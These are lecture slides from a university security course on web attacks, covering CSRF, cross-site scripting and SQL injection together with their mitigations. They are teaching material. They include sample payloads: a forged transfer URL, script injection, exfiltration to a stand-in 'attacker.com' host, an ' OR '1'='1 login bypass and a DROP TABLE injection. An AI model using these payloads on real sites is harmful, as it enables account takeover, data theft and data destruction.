10. Web Security and Attacks

Blase Ur and Grant Ho
February 7\textsuperscript{th}, 2024
CMSC 23200
CSRF
Cross-Site Request Forgery (CSRF)

- Goal: Make a user perform some action on a website without their knowledge
  - Trick the browser into having them do this
- Main idea: Cause a user who’s logged into that website to send a request that has lasting effects
Cross-Site Request Forgery (CSRF)

• Prerequisites:
  – *Victim* is logged into *important.com* in a particular browser
  – *important.com* accepts GET and/or POST requests for important actions
  – *Victim* encounters *attacker’s* code in that same browser
Cross-Site Request Forgery (CSRF)

- **Victim** logs into *important.com* and they stay logged in (within some browser)
  - Likely an auth token is stored in a cookie
- **Attacker** causes **victim** to load
  
  https://www.important.com/transfer.php?amount=100000000&recipient=blase
  
  - This is a GET request. For POST requests, auto-submit a form using JavaScript
- Transfer money, cast a vote, change a password, change some setting, etc.
CSRF: Approach

• On blaseur.com have `<a href="URL">Cat photos</a>`
• Send an HTML-formatted email with `<img src="URL">`
• Have a hidden form on blaseur.com with JavaScript that submits it when page loads
• Etc.
CSRF: Why Does This Work?

• Recall: Cookies for important.com are automatically sent as HTTP headers with every HTTP request to important.com

• Victim doesn’t need to visit the site explicitly, but their browser just needs to send an HTTP request

• Basically, the browser is confused
  – “Confused deputy” attack
CSRF: Key Mitigations

- Check HTTP referrer (less good)
  - Can sometimes be forged
- CSRF token (standard practice)
  - “Randomized” value known to important.com and inserted as a hidden field into forms
  - Key: not sent as a cookie, but sent as part of the request (HTTP header, form field, etc.)
XSS
Cross-Site Scripting (XSS)

- Goal: Run JavaScript on someone else’s domain to access that domain’s DOM
  - If the JavaScript is inserted into a page on victim.com or is an external script loaded by a page on victim.com, it follows victim.com’s same origin policy
- Main idea: Inject code through either URL parameters or user-created parts of a page
Cross-Site Scripting (XSS)

- Variants:
  - *Reflected XSS*: The JavaScript is there only temporarily (e.g., search query that shows up on the page or text that is echoed)
  - *Stored XSS*: The JavaScript stays there for all other users (e.g., comment section)

- Prerequisites:
  - HTML isn’t (completely) stripped
  - *victim.com* echoes text on the page
  - *victim.com* allows comments, profiles, etc.
XSS: Approach

- Type `<script>EVIL CODE ();</script>` into form field that is repeated on the page
- Do the same, but as a URL parameter
- Add a comment (or profile page, etc.) that contains the malicious script
- Malicious script accesses sensitive parts of the DOM (financial info, cookies, etc.)
  - Change some values
  - Exfiltrate info (load `attacker.com/?q=SECRET`
XSS: Why Does This Work?

• All scripts on victim.com (or loaded from an external source by victim.com) are run with victim.com as the origin
  – By the Same Origin Policy, can access DOM
XSS: Key Mitigations

• Sanitize / escape user input
  – Harder than you think!
  – Different encodings
  – `<img onmouseover="EVIL CODE();" />
  – Use libraries to do this!

• Define Content Security Policies (CSP)
  – Specify where content (scripts, images, media files, etc.) can be loaded from
  – `Content-Security-Policy: default-src 'self' *.trusted.com`
XSS: Evading Filters

- See [https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html) for lots of examples of trying to evade filters.
SQL Injection
Very Basic MySQL

- Goal: Manage a database on the server
- Create a database:
  - `CREATE DATABASE cs232;`
- Delete a database:
  - `DROP DATABASE cs232;`
- Use a database (subsequent commands apply to this database):
  - `USE cs232;`
Very Basic MySQL

• Create a table:
  
  ```
  CREATE TABLE potluck (id INT NOT NULL PRIMARY KEY AUTO_INCREMENT, name VARCHAR(20), food VARCHAR(30), confirmed CHAR(1), signup_date DATE);
  ```

• See your tables:
  
  ```
  SHOW TABLES;
  ```

• See detail about your table:
  
  ```
  DESCRIBE potluck;
  ```
Very Basic MySQL

• Insert data into a table:
  – INSERT INTO potluck (id, name, food, confirmed, signup_date) VALUES (NULL, 'David Cash', 'Vegan Pizza', 'Y', '2022-02-18');

• Edit rows of your table:
  – UPDATE potluck SET food = 'None' WHERE name = 'David Cash';

• Get your data:
  – SELECT * FROM potluck;
Goal: Change or exfiltrate info from victim.com’s database
Main idea: Inject code through parts of a query you define
SQL Injection

HI, THIS IS YOUR SON'S SCHOOL. WE'RE HAVING SOME COMPUTER TROUBLE.

OH, DEAR - DID HE BREAK SOMETHING?

IN A WAY -

DID YOU REALLY NAME YOUR SON Robert'); DROP TABLE Students; -- ?

OH, YES. LITTLE BOBBY TABLES, WE CALL HIM.

WELL, WE'VE LOST THIS YEAR'S STUDENT RECORDS. I HOPE YOU'RE HAPPY.

AND I HOPE YOU'VE LEARNED TO SANITIZE YOUR DATABASE INPUTS.
SQL Injection

• Prerequisites:
  – Victim site uses a database
  – Some user-provided input is used as part of a database query
  – DB-specific characters aren’t (completely) stripped
SQL Injection: Approach

• Enter DB logic as part of query you impact
• Back-end query
  – `SELECT * FROM USERS WHERE USER=' ' AND PASS=' ';`
• For password of user blase, attacker gives:
  – `' OR '1'='1`
• Straightforward insertion:
  – `SELECT * FROM USERS WHERE USER='blase' AND PASS=' ' OR '1'='1';`
SQL Injection: Why Does This Work?

• Database does what you ask in queries!
• The attacker’s data is interpreted partially as code
SQL Injection: Key Mitigations

- Sanitize / escape user input
  - Harder than you think!
  - Different encodings
  - Use libraries to do this!

- **Prepared statements** from libraries handle escaping for you!

- Use PHP’s mysqli (in place of mysql) with prepared statements
  - [https://www.w3schools.com/php/php_mysql_prepared_statements.asp](https://www.w3schools.com/php/php_mysql_prepared_statements.asp)